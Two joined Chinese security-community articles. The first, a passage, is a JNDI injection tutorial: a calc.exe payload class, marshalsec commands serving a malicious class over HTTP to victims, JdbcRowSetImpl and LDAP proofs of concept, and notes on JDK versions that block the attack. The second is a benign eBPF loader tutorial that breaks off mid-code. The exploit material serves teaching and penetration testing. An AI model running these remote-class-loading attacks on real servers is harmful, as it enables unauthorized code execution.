Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
public static void main(String[] args) {
exec("123");
}
}
> 此外，1.8编译的ExecTest.java在1.7受害者环境中也可以运行，看来简单代码，版本差距不大应该没事。
## 使用工具起rmi ldap服务
以上我们就成功复现了JNDI注入，但是在常规使用中我们自己起rmi服务器太麻烦了。
我们使用[marshalsec反序列化工具](https://github.com/mbechler/marshalsec)起rmi、ldap服务
装有java8，使用`mvn clean package -DskipTests`编译
#rmi服务器，rmi服务起在8088 恶意class在http://ip:8080/文件夹/#ExportObject
#不加8088端口号 默认是1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088
#rmi服务器，rmi服务起在8088 恶意class在http://ip:8080/文件夹/#ExportObject
#不加8088端口号 默认是1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088
同时恶意class文件的web服务还需要自己去起。
## com.sun.rowset.JdbcRowSetImpl 利用链
在回到我们之前的攻击目标服务端（也就是rmi服务客户端）
目前我们利用jndi注入需要满足2个条件：
我们需要服务端存在以下代码，uri可控
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
并且存在漏洞版本的java环境（目前我们知道1.8u191是不可以的）
我们先来扩展第一个代码限制的问题，就有点像在commons-collection反序列化一文寻找readobject复写点一样。
总是有很多机缘巧合。
**com.sun.rowset.JdbcRowSetImpl**
类：是在fastjson反序列化漏洞中触发jndi注入的一环，此处也算是一个引子，之后将详细分析fastjson反序列化的原因。
`JdbcRowSetImpl.java`
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();//进入此处
this.conn.setAutoCommit(var1);
}
}
`JdbcRowSetImpl.java`
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {//我们需要一个我们可控的getDataSourceName
try {
//下面两句是完美的漏洞触发代码
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//可控的jndi注入点
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
最后需要 **this.getDataSourceName()** 的赋值处：
`JdbcRowSetImpl.java`
public void setDataSourceName(String var1) throws SQLException {//var1可控
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
String var2 = this.getDataSourceName();
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
}
} else {
super.setDataSourceName(var1);//赋值setDataSourceName
this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
}
所以客户端的POC如下（即受害者执行以下代码就可以触发漏洞）
package jndi注入;
import com.sun.rowset.JdbcRowSetImpl;
public class CLIENT {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}
用工具来起rmi服务端
`java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://127.0.0.1:8090/#ExecTest`
然后用python起ExecTest.class的web（此处用的是上文的第二种payload）
`py -3 -m http.server 8090`
至于该如何让JdbcRowSetImpl_inc执行在受害者机器上，那就是反序列化利用链一样地衍生了，这边只是衍生出第一步说明，JNDI注入并不是一定要存在一个web服务对外，一定要有一个`ctx.lookup(uri)`的url参数可控，才能形成漏洞。
漏洞利用要考虑java环境、组件，不要跟SQL注入一样认为都是定死的。具体就结合fastjson再议了。
## RMI+LDAP注入java版本限制
我们再回到第二个版本限制问题：
JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性（使用的不是RMI Class
Loading,而是URLClassLoader）。
所以不受RMI动态加载恶意类的
**java版本应低于7u21、6u45，或者需要设置java.rmi.server.useCodebaseOnly=false系统属性**
的限制。具有更多的利用空间
但是我们之前实验还是有版本无法复现，是因为在JDK 6u132, JDK 7u122, JDK 8u113版本中， **系统属性
com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false** ，即默认不允许从远程的Codebase加载Reference工厂类。（这也是我们之前1.8u191失败的原因）
之前也提到jndi注入远程对象读取不单单只可以从rmi服务中读取，还可以从LDAP服务中读取
LDAP服务的Reference远程加载Factory类
**不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制**
，所以适用范围更广。
不过在2018年10月，Java最终也修复了这个利用点，对LDAP Reference远程工厂类的加载增加了限制，
在Oracle JDK 11.0.1、8u191、7u201、6u211之后
**com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false** 。
至于1.8u191之后咋办，我们新起一篇来讲述把；还是先来看一下可以绕过更多版本限制的LDAP+JNDI注入的利用方式
## LDAP+JNDI
### LDAP
LDAP（Lightweight Directory Access
Protocol）-轻量目录访问协议。但看了这个解释等于没说，其实也就是一个数据库，可以把它与mysql对比！
具有以下特点：
1. 基于TCP/IP协议
2. 同样也是分成服务端/客户端；同样也是服务端存储数据，客户端与服务端连接进行操作
3. 相对于mysql的表型存储；不同的是LDAP使用 **树型** 存储
1. 因为树型存储，读性能佳，写性能差，没有事务处理、回滚功能。
树层次分为以下几层：
* dn：一条记录的详细位置，由以下几种属性组成
* dc: 一条记录所属区域（哪一个树，相当于MYSQL的数据库）
* ou：一条记录所处的分叉（哪一个分支，支持多个ou，代表分支后的分支）
* cn/uid：一条记录的名字/ID（树的叶节点的编号，想到与MYSQL的表主键？）
举个例子一条记录就是
dn="uid=songtao.xu,ou=oa,dc=example,dc=com"
### POC
其实利用方法是没差的，我们之前分析的时候也可以看到代码会根据传入协议头的区别去进入对应的处理函数，只需要修改传入参数的解析头,再启动ldap服务，恶意class的web服务即可。
我们重点关注版本问题，我们在1.8u161版本(RMI+JNDI不行、LDAP+JNDI可以的版本)下去使用ldap+jndi注入
POC
package jndi注入;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;
public class CLIENT {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:1389/aa";
// String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
服务端一样用工具起来，不赘述。
结果没毛病
## 小结
分析一通，小结就是以后渗透测试要用ldap-JNDI注入，命中率更高。
# 参考
<https://www.freebuf.com/vuls/115849.html>
<https://www.veracode.com/blog/research/exploiting-jndi-injections-java>
<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>
RPC
<https://www.jianshu.com/p/2accc2840a1b>
<https://www.freebuf.com/column/189835.html>
ldap
<https://www.cnblogs.com/wilburxu/p/9174353.html>
<https://www.jianshu.com/p/7e4d99f6baaf>
<https://blog.csdn.net/caoyujiao520/article/details/82762097> | 社区文章 |
# BPF之路三如何运行BPF程序
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## eBPF对象的生命周期
BPF的对象包括:
* BPF程序
* BPF映射
* 调试信息
### 创建BPF映射的过程
进行`bpf(BPF_MAP_CREATE, ...)`系统调用时, 内核会:
* 分配一个`struct bpf_map`对象
* 设置该对象的引用计数: `refcnt=1`
* 返回一个fd给用户空间
如果进程退出或者崩溃, 那么BPF映射对应的fd也会被关闭, 导致`refcnt--`变为0, 之后就会被内核释放掉
### 加载BPF程序的过程
对于引入了BPF映射的BPF程序, 加载分为两个阶段
* 创建映射: 这些映射fd之后会放到`BPF_LD_IMM64`指令的imm字段中, 成为BPF程序的一部分
* 对BPF程序进行检验. 检验器会把其引用的映射的refcnt++, 并设置改程序的refcnt=1
此后
* 用户空间close()映射的fd时, 由于BPF程序还在使用, 因此映射不会被删除.
* 当BPF程序的fd被关闭时, 如果其refcnt变为0, 那么就会回收该BPF程序, 其所有引用的映射的`refcnt--`
### 把BPF程序attach到钩子上
把BPFattach到hook上之后, BPF程序的`refcnt++`. 此时创建, 加载BPF的用户空间程序就可以退出了.
因此还有hook保持着对BPF程序的引用, BPF程序并不会被回收.
总之, 只要BPF对象的引用计数大于0, 内核就不会回收
### BPF文件系统(BPFFS)
用户空间的程序可以把一个BPF或者BPF映射固定到BPFFS, 以生成一个文件. pin操作会使得BPF对象`refcnt++`,
因此即使这个BPF程序没有attach到任何地方, 或者一个BPF映射没有被任何地方使用, 在加载程序退出后, 这些BPF对象任然会存活
如果想要取消某个固定的对象, 只要调用unlink()即可, 也可以直接用rm命令删除这个文件
### 总结
* `create -> refcnt=1`
* `attach -> refcnt++`
* `detach -> refcnt--`
* `pin -> refcnt++`
* `unpin -> refcnt--`
* `unlink -> refcnt--`
* `close -> refcnt--`
## eBPF程序相关操作
<https://stackoverflow.com/questions/68278120/ebpf-difference-between-loading-attaching-and-linking>
### 加载: load
通过`bpf(BPF_PROG_LOAD, ...)`系统调用加载程序,
将其指令注入内核。程序通过验证器会进行许多检查并可能重写一些指令（特别是对于地图访问）。如果启用了 JIT 编译，则程序可能是 JIT
编译的。内核会为这个程序建立一个`struct bpf_prog`对象, 包含有关此程序的信息，例如eBPF字节码和JIT编译的指令。
**在这个过程结束时，程序位于内核内存中, 它不依附于特定对象**
。它有一个引用计数器，内核会一直保持它直到计数器归零。引用可以由文件描述符保存到程序：例如，一个由`bpf()`系统调用返回到加载应用程序。可以通过附加、链接、固定程序或在prog_array
映射中引用它来创建其他引用。如果没有引用保留（例如，加载应用程序在加载程序后立即退出，从而关闭其指向该程序的文件描述符），则将其从内核中删除。
“附加类型”(attach type)的概念取决于程序类型(prog_type)。有些程序类型没有这个概念：XDP 程序只是附加到接口的 XDP
钩子上。附加到 cgroups 的程序确实有一个“附加类型”，它告诉程序附加到哪里，确切地说。
加载程序大多与这些附加类型分开。但是某些程序类型需要在加载时就说明附加类型, 在进行bpf()系统调用时, 通过`union
bpf_attr`的`expected_attach_type`来传递预期的附加类型. 验证器和系统调用处理程序使用这种预期的附加类型来执行各种验证。
### 附加: attach
现在BPF程序已经被加载到内核中随时可以执行. 通过attach可以把程序挂到一些事件的钩子上. 当事件发生时BPF程序就会被调用.
### 链接: link
当加载BPF的程序关闭时, 由于BPF程序引用归零, 就会被内核卸载. 那么如何在程序关闭时保持BPF程序的运行呢? 此时可以使用链接.
BPF程序可以attach到一个链接, 而不是传统的钩子. 链接本身attacah到内核的钩子. 这为操作程序提供了更好的接口.
一个优点时可以固定这种链接, 在加载程序退出时保持BPF继续运行. 另一个优点是更容易跟踪程序中持有的引用, 以确保加载程序意外退出时没有BPF程序被加载
不要把BPF程序的链接与编译ELF文件时的链接弄混. 目标文件的链接重定位过程与BPF的链接无关
### 固定: pin
Pin是一种保持BPF对象(程序, 映射, 链接)引用的方法. 通过`bpf(BPF_OBJ_PIN, ...)`这个系统调用完成,
这会在eBPF的虚拟文件系统中创建一个路径, 并且之后可以用过`open()`该路径来获取该BPF对象的文件描述符. 只要一个对象被固定住,
他就会一直保留在内核中, 不需要pin或者map就可运行它. 只要存在其他引用(文件描述符. 附加到一些钩子,
或者被其他程序引用)程序就会一直加载在内核中, attach之后可以直接运行
固定一个BPF链接可以确保: attach到该链接的程序在加载程序退出并关闭他的文件描述符之后, 仍然被加载
### 总结
* load: 向内核注入一段程序并进行检验. BPF程序可能重写某些指令并链接到内部的BPF对象. 可能会发生JIT编译. 有时候需要`expected_attach_type`字段
* attach: 把BPF程序附加到与程序类型相关的钩子上
* link: 根据程序类型把程序附加到BPF链接上, 而不是直接附加到常规的附着点上. BPF链接会附加到常规的钩子上, 以提供更灵活的接口来管理程序
* pin: 程序或者链接可以被固定到bpf文件系统以实现持久化(重启后失效)
## 例子一: 用eBPF跟踪socket
首先需要编译出BPF程序, 这里调用了助手函数`bpf_trace_printk`, 这会向内核追踪日志中写入消息,
可以通过读取`/sys/kernel/debug/tracing/trace_pipe`获取输出
//clang -O2 -target bpf -c ./prog.c -o ./prog.o
#include <linux/bpf.h>
static int (*bpf_trace_printk)(const char *fmt, int fmt_size, ...) = (void *) BPF_FUNC_trace_printk;
unsigned long prog(void){
char fmt[]="Get";
bpf_trace_printk(fmt, sizeof(fmt));
return 0;
}
编译后的指令如下, 对于外部助手的函数被翻译为`call 6`
再用llvm-objcopy提取text段的指令到`prog.text`文件
加载器首先需要读入指令, 然后向内核注入此程序, 以获取BPF程序对应的文件描述符. 接着开启一个socket,
通过socketopt()函数让eBPF程序附着在socket上. 整体代码如下
//gcc ./loader.c -o loader
#include <stdio.h>
#include <stdlib.h> //为了exit()函数
#include <stdint.h> //为了uint64_t等标准类型的定义
#include <errno.h> //为了错误处理
#include <linux/bpf.h> //位于/usr/include/linux/bpf.h, 包含BPF系统调用的一些常量, 以及一些结构体的定义
#include <sys/syscall.h> //为了syscall()
//类型转换, 减少warning, 也可以不要
#define ptr_to_u64(x) ((uint64_t)x)
//对于系统调用的包装, __NR_bpf就是bpf对应的系统调用号, 一切BPF相关操作都通过这个系统调用与内核交互
int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
//用于保存BPF验证器的输出日志
#define LOG_BUF_SIZE 0x1000
char bpf_log_buf[LOG_BUF_SIZE];
//通过系统调用, 向内核加载一段BPF指令
int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn* insns, int insn_cnt, const char* license)
{
union bpf_attr attr = {
.prog_type = type, //程序类型
.insns = ptr_to_u64(insns), //指向指令数组的指针
.insn_cnt = insn_cnt, //有多少条指令
.license = ptr_to_u64(license), //指向整数字符串的指针
.log_buf = ptr_to_u64(bpf_log_buf), //log输出缓冲区
.log_size = LOG_BUF_SIZE, //log缓冲区大小
.log_level = 2, //log等级
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
//开启一个socket
int get_listen_socket(char *ip, int port){
//获取一个TCP类型的socket
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//设置地址对象, 采用IPv4
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(ip);
serv_addr.sin_port = htons(port);
//把socket绑定的指定地址
bind(sock, (struct sockaddr *)(&serv_addr), sizeof(serv_addr));
//socket进入监听模式
listen(sock, 20);
return sock;
}
//保存BPF程序
struct bpf_insn bpf_prog[0x100];
int main(int argc, char **argv){
//先从文件中读入BPF指令
int text_len = atoi(argv[2]);
int file = open(argv[1], O_RDONLY);
if(read(file, (void *)bpf_prog, text_len)<0){
perror("read prog fail");
exit(-1);
}
close(file);
//把BPF程序加载进入内核, 注意这里程序类型一定要是BPF_PROG_TYPE_SOCKET_FILTER, 表示BPF程序用于socket
int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, bpf_prog, text_len/sizeof(bpf_prog[0]), "GPL");
printf("%s\n", bpf_log_buf);
if(prog_fd<0){
perror("BPF load prog");
exit(-1);
}
printf("prog_fd: %d\n", prog_fd);
//打开一个socket进入监听状态
int sock = get_listen_socket("0.0.0.0", 9527);
printf("socket: %d\n", sock);
//把已经加载的BPF程序附加到socket上, 这样当数据到来时这个BPF程序就会被调用
if(setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))<0){
perror("set socket error");
exit(-1);
}
//调用accept()等待链接到来
struct sockaddr_in clnt_addr;
socklen_t clnt_addr_size = sizeof(clnt_addr);
int clnt_sock = accept(sock, (struct sockaddr *)(&clnt_addr), &clnt_addr_size);
}
运行loader然后读入内核日志, 用nc向loader发起链接就可以看到日志的输出
## 例子二: 用eBPF跟踪系统调用
我们使用同一个BPF程序, 加载BPF的过程与上文类似, 区别在与attach的过程, 本例中需要通过perf机制来跟踪系统调用.
有关perf的部分只做简要介绍, 具体的可以看`perf_event_open`系统调用的手册
`perf_event_open`系统调用用于打开一个被测量事件的文件描述符
/*
evt_attr: 描述要监视的事件的属性
pid: 要监视的进程id, 设为-1的话表示监视所有进程
cpu: 要见识的CPU
group_fd: 事件组id, 暂时不用管
flags: 相关表示, 暂时不用管
*/
static int perf_event_open(struct perf_event_attr *evt_attr, pid_t pid, int cpu, int group_fd, unsigned long flags)
{
int ret;
ret = syscall(__NR_perf_event_open, evt_attr, pid, cpu, group_fd, flags);
return ret;
}
重点在于配置`struct perf_event_attr`, 主要成员如下
struct perf_event_attr {
__u32 type; /* 事件类型 */
__u32 size; /* attribute结构的大小 */
__u64 config; /* 含义根据事件类型而定, 描述具体的事件配置 */
union {
__u64 sample_period; /* 取样时长 Period of sampling */
__u64 sample_freq; /* 取样频率 Frequency of sampling */
};
__u64 sample_type; /* 取样种类 */
...;
union {
__u32 wakeup_events; /* 每n个事件唤醒一次 */
__u32 wakeup_watermark; /* bytes before wakeup */
};
};
本例中我们要测量的是 **跟踪点类型中, 进入execve** 这一事件, 因此可以把`struct
perf_event_attr`的`type`设置为`PERF_TYPE_TRACEPOINT`, 表示跟踪点类型的事件.
此时config的值就表示具体要观测哪一个跟踪点, 这个值可以从debugfs中获取,
路径`/sys/kernel/debug/tracing/events/<某一事件>/<某一跟踪点>/id`中保存着具体的跟踪点的值. 如下
因此如下设置就可以打开测量对应事件的efd
//设置一个perf事件属性的对象
struct perf_event_attr attr = {};
attr.type = PERF_TYPE_TRACEPOINT; //跟踪点类型
attr.sample_type = PERF_SAMPLE_RAW; //记录其他数据, 通常由跟踪点事件返回
attr.sample_period = 1; //每次事件发送都进行取样
attr.wakeup_events = 1; //每次取样都唤醒
attr.config = 678; // 观测进入execve的事件, 来自于: /sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/id
//开启一个事件观测, 跟踪所有进程, group_fd为-1表示不启用事件组
int efd = perf_event_open(&attr, -1/*pid*/, 0/*cpu*/, -1/*group_fd*/, 0);
if(efd<0){
perror("perf event open error");
exit(-1);
}
printf("efd: %d\n", efd);
接着通过`ioctl()`打开事件后, 再把BPF程序附着到此事件上就可在每次进入execve时触发BPF程序
ioctl(efd, PERF_EVENT_IOC_RESET, 0); //重置事件观测
ioctl(efd, PERF_EVENT_IOC_ENABLE, 0); //启动事件观测
if(ioctl(efd, PERF_EVENT_IOC_SET_BPF, prog_fd)<0){ //把BPF程序附着到此事件上
perror("ioctl event set bpf error");
exit(-1);
}
整体代码如下, 加载BPF程序时要注意, 此时BPF程序的类型为`BPF_PROG_TYPE_TRACEPOINT`, 为追踪点类型的BPF程序
//gcc ./loader.c -o loader
#include <linux/bpf.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <stdlib.h>
#include <stdint.h>
#include <errno.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
//类型转换, 减少warning, 也可以不要
#define ptr_to_u64(x) ((uint64_t)x)
//对于系统调用的包装, __NR_bpf就是bpf对应的系统调用号, 一切BPF相关操作都通过这个系统调用与内核交互
int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
//对于perf_event_open系统调用的包装, libc里面不提供, 要自己定义
static int perf_event_open(struct perf_event_attr *evt_attr, pid_t pid, int cpu, int group_fd, unsigned long flags)
{
int ret;
ret = syscall(__NR_perf_event_open, evt_attr, pid, cpu, group_fd, flags);
return ret;
}
//用于保存BPF验证器的输出日志
#define LOG_BUF_SIZE 0x1000
char bpf_log_buf[LOG_BUF_SIZE];
//通过系统调用, 向内核加载一段BPF指令
int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn* insns, int insn_cnt, const char* license)
{
union bpf_attr attr = {
.prog_type = type, //程序类型
.insns = ptr_to_u64(insns), //指向指令数组的指针
.insn_cnt = insn_cnt, //有多少条指令
.license = ptr_to_u64(license), //指向整数字符串的指针
.log_buf = ptr_to_u64(bpf_log_buf), //log输出缓冲区
.log_size = LOG_BUF_SIZE, //log缓冲区大小
.log_level = 2, //log等级
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
//保存BPF程序
struct bpf_insn bpf_prog[0x100];
int main(int argc, char **argv){
//先从文件中读入BPF指令
int text_len = atoi(argv[2]);
int file = open(argv[1], O_RDONLY);
if(read(file, (void *)bpf_prog, text_len)<0){
perror("read prog fail");
exit(-1);
}
close(file);
//把BPF程序加载进入内核, 注意这里程序类型一定要是BPF_PROG_TYPE_TRACEPOINT, 表示BPF程序用于内核中预定义的追踪点
int prog_fd = bpf_prog_load(BPF_PROG_TYPE_TRACEPOINT, bpf_prog, text_len/sizeof(bpf_prog[0]), "GPL");
printf("%s\n", bpf_log_buf);
if(prog_fd<0){
perror("BPF load prog");
exit(-1);
}
printf("prog_fd: %d\n", prog_fd);
//设置一个perf事件属性的对象
struct perf_event_attr attr = {};
attr.type = PERF_TYPE_TRACEPOINT; //跟踪点类型
attr.sample_type = PERF_SAMPLE_RAW; //记录其他数据, 通常由跟踪点事件返回
attr.sample_period = 1; //每次事件发送都进行取样
attr.wakeup_events = 1; //每次取样都唤醒
attr.config = 678; // 观测进入execve的事件, 来自于: /sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/id
//开启一个事件观测, 跟踪所有进程, group_fd为-1表示不启用事件组
int efd = perf_event_open(&attr, -1/*pid*/, 0/*cpu*/, -1/*group_fd*/, 0);
if(efd<0){
perror("perf event open error");
exit(-1);
}
printf("efd: %d\n", efd);
ioctl(efd, PERF_EVENT_IOC_RESET, 0); //重置事件观测
ioctl(efd, PERF_EVENT_IOC_ENABLE, 0); //启动事件观测
if(ioctl(efd, PERF_EVENT_IOC_SET_BPF, prog_fd)<0){ //把BPF程序附着到此事件上
perror("ioctl event set bpf error");
exit(-1);
}
//程序不能立即退出, 不然BPF程序会被卸载
getchar();
}
运行效果如图
## 回到HelloWorld
至此, 再让我们回顾一下<<linux内核观测技术BPF>>一书中的HelloWorld, BPF程序如下. 其通过段名来表示这个BPF程序要附着到哪里
//clang -O2 -target bpf -c ./bpf.c -o bpf.o
#include <linux/bpf.h>
#define SEC(NAME) __attribute((section(NAME), used)) //设置段属性, 表示把某一变量或者函数放到ELF文件中名为NAME的段中
//bpf_trace_printk()被编译为内核的一部分，永远不会被编译到你的 BPF 目标文件中。当尝试加载您的程序时，该函数会load_bpf_file()执行一个重定位步骤，
static int (*bpf_trace_printk)(const char *fmt, int fmt_size, ...) = (void *) BPF_FUNC_trace_printk;
//把bpf_prog编译到名为tracepoint/syscalls/sys_enter_execve的段中
SEC("tracepoint/syscalls/sys_enter_execve")
int bpf_prog(void* ctx){
char msg[] = "Hello";
bpf_trace_printk(msg, sizeof(msg)); //在内核跟踪日志中打印消息
return 0;
}
//程序许可证, 为了与内核兼容
char _license[] SEC("license") = "GPL";
接着是最令人困惑的loader程序, 由于引用了`bpf_load.c`中的两个函数, 因此先分析这两个函数的源码.
要注意此时加载的编译出来的ELF格式的目标文件, 不再是单纯的指令
#include <stdio.h>
#include "bpf_load.h"
int main(int argc, char **argv){
if(load_bpf_file(argv[1])!=0){
printf("error\n");
}
read_trace_pipe();
}
### load_bpf_file()源码分析
`load_bpf_file()`会直接进入`do_load_bpf_file()`
int load_bpf_file(char *path)
{
return do_load_bpf_file(path, NULL);
}
`do_load_bpf_file()`的加载ELF格式的目标文件后, 会进行三次扫描, 第一次扫描证书与映射相关的段.
第二次扫描为BPF映射重写某些BPF指令, 第三次扫描则为了加载BPF程序. 我们重点关注第三次的
static int do_load_bpf_file(const char *path, fixup_map_cb fixup_map)
{
int fd, i, ret, maps_shndx = -1, strtabidx = -1;
Elf *elf;
GElf_Ehdr ehdr;
GElf_Shdr shdr, shdr_prog;
Elf_Data *data, *data_prog, *data_maps = NULL, *symbols = NULL;
char *shname, *shname_prog;
int nr_maps = 0;
/* reset global variables */
kern_version = 0;
memset(license, 0, sizeof(license));
memset(processed_sec, 0, sizeof(processed_sec));
if (elf_version(EV_CURRENT) == EV_NONE)
return 1;
//打开文件
fd = open(path, O_RDONLY, 0);
if (fd < 0)
return 1;
//解析ELF格式
elf = elf_begin(fd, ELF_C_READ, NULL);
...;
/* 遍历elf文件的所有段以获取license和BPF映射的信息, */
for (i = 1; i < ehdr.e_shnum; i++) {
...;
}
/* 遍历所有的只读段, 并为BPF映射重写一些bpf指令 */
for (i = 1; i < ehdr.e_shnum; i++) {
...;
}
/* 加载程序 */
for (i = 1; i < ehdr.e_shnum; i++) {
if (processed_sec[i])
continue;
if (get_sec(elf, i, &ehdr, &shname, &shdr, &data)) //获取这个段
continue;
//下列字符串表示要追踪的事件类型
//如果段名是有效的事件类型, 那么就会进入load_and_attach(), 把这个段中的BPF指令加载进入内核, 并附加到指定事件上
//bpf.o中设置bpf_prog()函数所在段名为"tracepoint/syscalls/sys_enter_execve", 因此会进入load_and_attach()
if (memcmp(shname, "kprobe/", 7) == 0 ||
memcmp(shname, "kretprobe/", 10) == 0 ||
memcmp(shname, "tracepoint/", 11) == 0 ||
memcmp(shname, "raw_tracepoint/", 15) == 0 ||
memcmp(shname, "xdp", 3) == 0 ||
memcmp(shname, "perf_event", 10) == 0 ||
memcmp(shname, "socket", 6) == 0 ||
memcmp(shname, "cgroup/", 7) == 0 ||
memcmp(shname, "sockops", 7) == 0 ||
memcmp(shname, "sk_skb", 6) == 0 ||
memcmp(shname, "sk_msg", 6) == 0) {
ret = load_and_attach(shname, data->d_buf,data->d_size);
if (ret != 0)
goto done;
}
}
...;
}
对于`load_and_attach()`, `do_load_bpf_file()`传入的段名就是要附着的事件名, 段中的内容就是eBPF指令数组,
段的长度就是以字节为单位的BPF程序的长度.
`load_and_attach()`首先根据段名解析出段的类型, 并调用`bpf_load_program()`把BPF程序注入内核, 这个在之前已经说过
static int load_and_attach(const char* event, struct bpf_insn* prog, int size)
{
//首先判断是哪种事件类型
bool is_socket = strncmp(event, "socket", 6) == 0;
bool is_kprobe = strncmp(event, "kprobe/", 7) == 0;
bool is_kretprobe = strncmp(event, "kretprobe/", 10) == 0;
bool is_tracepoint = strncmp(event, "tracepoint/", 11) == 0; //对本BPF程序属于这种
...;
//计算有多少条指令
size_t insns_cnt = size / sizeof(struct bpf_insn);
enum bpf_prog_type prog_type;
char buf[256];
int fd, efd, err, id;
//设置要观测事件的属性
struct perf_event_attr attr = {};
attr.type = PERF_TYPE_TRACEPOINT; //默认为追踪点
attr.sample_type = PERF_SAMPLE_RAW;
attr.sample_period = 1; //每次触发都取样
attr.wakeup_events = 1; //每次取样都触发
//根据事件类型设置prog_type变量, 之后进行bpf系统调用加载程序时会用到
if (is_socket) {
prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
} else if (is_kprobe || is_kretprobe) {
prog_type = BPF_PROG_TYPE_KPROBE;
} else if (is_tracepoint) { //对本BPF程序属于这种
prog_type = BPF_PROG_TYPE_TRACEPOINT;
} else if (is_raw_tracepoint) {
...
} else {
printf("Unknown event '%s'\n", event);
return -1;
}
...
//进行bpf系统调用, 把BPF程序加载如内核中
fd = bpf_load_program(prog_type, prog, insns_cnt, license, kern_version, bpf_log_buf, BPF_LOG_BUF_SIZE);
接下来`load_and_attach()`根据段名中要观测的事件, 通过debugfs获取跟踪点的id, 这一步在例2中是手动完成的
//根据要观测事件, 构造debugfs路径, 获取事件的id
if (is_kprobe || is_kretprobe) {
...;
} else if (is_tracepoint) {
//bpf.o中bpf_prog()函数所在段名为"tracepoint/syscalls/sys_enter_execve", 这是为了跳过前缀"tracepoint/"
event += 11;
if (*event == 0) {
printf("event name cannot be empty\n");
return -1;
}
strcpy(buf, DEBUGFS); //DEBUGFS为:"/sys/kernel/debug/tracing/"
strcat(buf, "events/"); //buf = "/sys/kernel/debug/tracing/events"
strcat(buf, event); //buf = "/sys/kernel/debug/tracing/events/syscalls/sys_enter_execve"
strcat(buf, "/id"); //buf = "/sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/id"
}
efd = open(buf, O_RDONLY, 0); //打开debugfs中获取跟踪点对应的文件
if (efd < 0) {
printf("failed to open event %s\n", event);
return -1;
}
err = read(efd, buf, sizeof(buf)); //读入文件内容, 获取字符串格式的跟踪点id
if (err < 0 || err >= sizeof(buf)) {
printf("read from '%s' failed '%s'\n", event, strerror(errno));
return -1;
}
close(efd);
//用跟踪点id设置事件属性的config
buf[err] = 0;
id = atoi(buf);
attr.config = id;
接下来调用`perf_event_open()`打开要观测事件, 启动后把BPF程序附着上去, 这样当事件被触发时就会调用对应的BPF程序
efd = sys_perf_event_open(&attr, -1 /*pid*/, 0 /*cpu*/, -1 /*group_fd*/, 0); //打开观测事件的fd
...;
err = ioctl(efd, PERF_EVENT_IOC_ENABLE, 0); //启动此观测事件
...;
err = ioctl(efd, PERF_EVENT_IOC_SET_BPF, fd); //把对应BPF程序附着到观测的事件上
...;
return 0;
}
### read_trace_pipe()源码分析
`read_trace_pipe()`就简单许多, 循环打印内核跟踪日志`/sys/kernel/debug/tracing/trace_pipe`
void read_trace_pipe(void)
{
int trace_fd;
trace_fd = open(DEBUGFS "trace_pipe", O_RDONLY, 0); //打开/sys/kernel/debug/tracing/trace_pipe文件
if (trace_fd < 0)
return;
while (1) { //循环输出文件内容
static char buf[4096];
ssize_t sz;
